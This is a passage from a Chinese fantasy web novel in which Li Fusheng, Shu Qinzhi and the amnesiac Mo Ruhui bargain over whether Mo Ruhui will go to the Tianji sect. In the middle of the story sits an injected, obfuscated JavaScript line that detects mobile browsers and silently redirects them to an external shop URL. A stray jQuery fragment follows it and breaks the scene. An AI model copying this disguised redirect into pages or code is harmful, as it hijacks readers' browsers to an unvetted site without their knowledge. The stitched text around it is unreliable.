黎浮生见舒沁枝一副怒火中烧模样,忽然笑开了。
从前在鬼域时,确实有不少人不满她对莫如讳的放任态度,但除了三位殿主和十二殿生,还没人敢当着她的面直接指责议论。
如今到了四境,她身份不再,而莫如讳争议缠身,倒是有人敢站出来直言了。
黎浮生松开五指,将紧扣的手高高举起。
指缝间,莫如讳骨节分明的手指强势占领每一处缝隙,每根指头都贴紧她的手背,牢牢不放。
她极其高调地晃了两下,莫如讳生怕她将他甩开,指腹压实紧扣,指甲用力泛白。
舒沁枝见状偏头,哼笑出声。
她算是看明白了。
黎浮生是想同她说,从来不是她要缠上莫如讳,而是莫如讳主动攀上她,不愿放手。
舒沁枝瞳孔一转,落在怯生生躲在黎浮生身后的男人身上。
她从未见过这般胆怯弱小的莫如讳。
从鬼域回来后,她只见过他失态过一次。
那一次,莫如讳衣衫褴褛,不修边幅,几乎丧失了理智。见着她,他好似疯了般迎上来,抓紧她的手臂,牛头不对马嘴地问了句:“师父呢?师父在哪里?”
莫如讳只有一个师父。
鹤晚眠,天机门前任门主。
她的母亲。
鹤晚眠意外患病,不治而亡,莫如讳顾念舒沁枝年幼丧母,从不在她面前提起鹤晚眠的名字。
舒沁枝早慧,不愿身边人因她每日提心吊胆,便也默契地缄口不言。
这还是第一次,莫如讳当着她的面提起她的母亲。
舒沁枝心道不对,连忙应答:“母亲在宗门等你,如讳哥哥,和我一起回家吧。”
莫如讳双目赤红,盯着舒沁枝这张酷似鹤晚眠的脸看了许久,猛然间,浑身剧烈一颤!
他脸色瞬间变得苍白,五官拧作一团,汗如雨下。
舒沁枝还没开口询问,就被莫如讳推到在地。
“砰——”
她的后背重重砸在嶙峋石板上,突起的坚硬石块很快擦出一条蜿蜒血迹。
舒沁枝顾不上疼,起身就要过来。
莫如讳却是大手一拂,直接将人送了出去。
大宗师之力何其蛮横,更何况是此刻头脑不清醒的莫如讳。
舒沁枝只觉眼前白光骤闪、景色交替,下一瞬,再睁眼,已到了百里外的荒凉平原。
莫如讳没舍得伤她,只是将她送到远离他的地方。
舒沁枝给莫如讳留了一夜的冷静时间,翌日,才沿着留下的血气去找,却发现早已人去楼空。
而她昨日趁乱留下的血符被他大咧咧贴在正门口。
舒沁枝:“……”
她的小动作始终瞒不过他的眼睛。
再后来,舒沁枝再没听到莫如讳的消息。
鹤锦洪来她这里打听过几次,她守口如瓶,未将莫如讳失态之事透露分毫。
“如讳哥哥……”
积攒多日的思念与苦楚涌上心头,舒沁枝眼底开始浮现出晶莹。
公冶百川悄悄摸到黎浮生身边,压低声线:“小三?”
黎浮生不解:“嗯?”
公冶百川:“你是小三?”
黎浮生:“……滚。”
公冶百川嘿嘿一笑:“没事,我这人帮亲不帮理,就算你是小三,我也支持你。”
黎浮生斜睨一眼:“哦?你不是喜欢我?怎么还鼓励我去当小三了?”
“放心,我的爱很无私的。你宁愿当小三也要跟着莫宗师私奔,我再喜欢也要忍痛割爱啊。”
黎浮生懒得搭理他,冲着舒沁枝的方向昂首示意:“天机门的舒沁枝,主修符律和咒律,打得过她么?”
公冶百川捏了捏手里的镰刀,盘算了一下。
“符修咒修擅远攻,而我远近皆可,若修为相当,应当是不成问题。”
黎浮生见他如此自信,不由打趣:“知道舒沁枝是谁么?打赢她可有想过后果?”
公冶百川顽劣地笑:“管她是谁,都不耽误我赢她。”
黎浮生微微一笑,转头看向妒火中烧的莫如讳。
“公冶百川要打舒沁枝。”
莫如讳脑子里全是黎浮生凑近公冶百川时的笑脸。
“哦!”他十分气愤地应了声。
黎浮生:“不去给舒沁枝撑腰?”
莫如讳被嫉妒冲昏了头脑,此刻巴不得上去打架出风头的是自己。听黎浮生问起,更觉得她是在偏心公冶百川,答起话来还带着些拐弯抹角的怨气。
“我与她无缘无故,为何要给她撑腰?姐姐就算是偏帮公冶百川,也不能将我随便推给别人吧。”
黎浮生看他摆出一副怨妇模样,更是笑开:“舒沁枝并非与你无缘无故。你失忆前,不,三年半前,一直是你照顾她。你,是她最大的靠山。”
莫如讳震愕非常:“我?”
“嗯。”
他抬手指向暗自神伤的舒沁枝,两只眼睛流露出难以置信的讶异。
“她?”
“嗯。”
舒沁枝似是意识到他们正在谈论自己,忙不迭沿着山道走了一大段距离,唤道:“如讳哥哥。”
莫如讳听这蕴藏委屈思念的娇滴叫唤,不适地浑身抖了抖。
“别靠近我!我不知道你是谁。”
舒沁枝脚步一僵,几乎是在电闪雷鸣间想通了前因后果。
她看向黎浮生:“如讳哥哥在启方境遭遇了反噬?”
舒沁枝谈起正事时,与她依赖莫如讳的楚楚可怜截然不同。
镇定冷静,思维迅捷,一下便抓住了关键。
黎浮生突然有些欣赏她了:“他确实受过反噬,醒来便失常失忆,言行与稚童无异。”
舒沁枝回想起半年前莫如讳表现出的异常,很快接受了黎浮生的说辞。
“我知道了。”她踩着山路,行至他们面前:“是你将如讳哥哥带回来的吧?”
黎浮生未答,公冶百川怕舒沁枝要来找麻烦,跨步横挡,却听她言语诚恳地道了句:“多谢。”
公冶百川:“?”
黎浮生挑眉:“应该的。”
公冶百川:“!”
现在小三和正宫说话都这么理直气壮了么?
莫如讳见舒沁枝似乎没有恶意,便从黎浮生肩膀后冒出个脑袋,问:“我与你,当真相识?”
舒沁枝又不淡定了:“当然!你叫莫如讳,你的师父是我的母亲。我与你自小一起长大,母亲离开后,你更是将我带在身边亲自照料。如讳哥哥,这些你都忘了么?”
莫如讳沉寂片刻,摇了摇头:“不记得了。”
舒沁枝眼眶一酸,瞬间切换成柔柔弱弱的可怜形象。
黎浮生在她开口喊“如讳哥哥”前打断了她。
“舒道友,你守了我们大半个月,应该不止是为了说这个吧。”
舒沁枝闻言,立即转化成谈论正事的肃然模样。
公冶百川叹为观止:“女人真是翻脸比翻书快啊。”
舒沁枝望着黎浮生的眼睛,正直坦荡:“我来云烟宗是为了带走如讳哥哥。”
黎浮生粲然一笑:“小门主好气魄,连对抗万古同悲阵、以杀证道,又大闹启方境庆典、抢走断章枪的莫如讳都敢往天机门引。此事鹤门主知道么?各境境主又知道么?”
提起这个,舒沁枝忽地气极。
“施展万古同悲阵时,我并不在宗门,若是我在,我定不允许长老们开启!”
黎浮生瞥了她一眼。
咬牙切齿,倒不像是装的。
气完,舒沁枝又道:“舅父并非古板刻薄之人,他看着我与如讳哥哥长大,最是了解如讳哥哥品性,我既然敢来,自是得了他的许可。至于四位境主,天机门做事,何时需要顾及他们的脸色?”
是了,当初宋彰明不惜以断章枪为噱头,广邀各境各宗参加他的继任百年庆典,天机门自然是在他的诚邀名单之列。
可那场庆典上,天机门无一人参加。
连一名普通弟子都没来。
黎浮生不由得想起多年前,芃妤参加完鬼域与四境的协商会回来后,同她嘟囔抱怨的。
“朝朝!你可没瞧见四境那副嘴脸!这次分明只是我们与玉清境发生了点小摩擦,玉清境抱怨两句就算了,其余三境居然在那儿上赶着颐指气使、指手画脚,嚷嚷着要我们献出灵矿作为补偿!要不是那什么门的发了话,我真要忍不住动手!”
芃妤性格沉稳,处事素来周全,若非此,黎浮生也不会派她去协商。
黎朝暮知道她受了气,故意左右而言他,将她的思绪引开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816937|204648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“四境能比四大家还难对付?”
芃妤犹豫了一下:“那……那也差不多了。”
黎朝暮又笑:“既如此,不妨以后你去应付四大家,我让阚泽去斡旋四境。”
芃妤扭捏了半天,最后憋出一句:“四境我还能逼迫自己不动手,四大家的……我可真忍不住。”
笑罢,黎朝暮好生安抚了她几句,将人哄得头脑一热,拍着胸脯走了。
当时芃妤同黎浮生发牢骚时,她并未多想,如今看来,天机门在陆方四境的地位怕是比她料想的还要高。
黎浮生正欲开口,忽见姚桑带着柏云奚沿着山道一路狂奔上来。
见着她与莫如讳,先是走流程似的匆忙问了句:“还好么?”
“还——”
不等黎浮生回答完,又疾言厉色地瞪向舒沁枝:“你说把人带走就带走?当我们云烟宗是什么想来就来想走的地方?”
黎浮生扯起嘴角,狠狠一抽。
天机门连九华宗和宋彰明都不放在眼里,于舒沁枝而言,云烟宗可不就是想来就来想走就走地方……
舒沁枝见着他二人,倒是有些无可奈何的怨气。
“狗皮膏药,甩都甩不掉。”她双手一环,没好气地嘟囔着。
能把高高在上的小门主逼成这样,黎浮生忍不住好奇:“你们干什么了?”
柏云奚尽量简明扼要地低声答道:“宗主回来后,宋彰明和天机门联手将云烟宗翻了个底朝天,最后不仅无功而返,还因冒犯宗门赔了一大笔极品灵丹。我和大师姐都以为他们走了,没想到过了几日,竟在宗门入口处发现了舒沁枝的藏匿痕迹。大师姐担心她会破坏你在信里提到的流浪计划,便与我一起暗中盯梢,可舒沁枝实在狡诈,竟反过来给自己下了咒术,一下就发现了我们。”
“所以,你们干脆光明正大跟踪她了?”
柏云奚义正言辞道:“舒沁枝找的是莫宗师,我们找的是你,怎么能叫跟踪呢?分明是合作共赢啊!”
黎浮生:“……”
她还不能不知道他们打的什么主意?
若是舒沁枝先一步找到莫如讳,他们便能在第一时间保护她,若是舒沁枝晚一步找到莫如讳,他们便能第一时间通知她撤离。
左右都是不亏的。
黎浮生眸子一扫,看了眼姚桑来回交替站立的两条腿,又想起刚才姚桑拖着柏云奚疾奔来的趔趄样子。
“大师姐的脚怎么了?”
柏云奚痛心道:“大师姐她——”
“来的时候太兴奋,摔了一跤。”姚桑淡然道。
黎浮生轻抬眼帘:“哦。”
言罢,看向有些烦闷惆怅的舒沁枝。
“你要将莫如讳带回天机门?”
莫如讳探出双眼睛,直勾勾地望着她。
舒沁枝知道莫如讳眼下极其信任并且依赖黎浮生,因而对于黎浮生问出的问题,她都尽量诚实诚恳地回答了。
“门中长老思想刻板难改,我暂时不打算与他们硬碰硬。如讳哥哥可以先在宗门不远的楼院休养,那里有我多年收集来的灵药灵丹,又有阵法结界隐蔽气息,绝对安全。”
公冶百川:“哇哦。”
黎浮生又问:“若不慎被天机门或四境的人发现,指责你包庇祸害魔修,逼你将人交出来,你当如何?”
舒沁枝想了想,清秀凌厉的面容变得格外坚毅:“宁死不从。”
黎浮生盯着她,半晌,笑道:“好。”
在场之人皆是呆愣。
舒沁枝压根没想到黎浮生如此简单就放了人,除了喜出望外,还有些得来过于轻而易举的难为情。
“你……想要什么?灵武?灵丹?灵药?灵石?或者每样都来一点?”
姚桑眉头紧皱,显然十分不理解黎浮生为什么会直接答应。
柏云奚更是焦急,压低嗓音问:“生生!断章枪还在莫宗师手里呢!你把莫宗师放走了,断章枪不也到了天机门手里?!”
沉默多时的莫如讳也变得躁郁不安起来。
他抓紧黎浮生的袖口,一双眼睛如水波流转,可怜巴巴地望着她,哀戚道:“姐姐,你要丢下我了么?”
倒是方才还一直活跃的公冶百川只字不提。
黎浮生抬头挺胸,平静淡然道:“莫如讳走可以,我要与他一起。”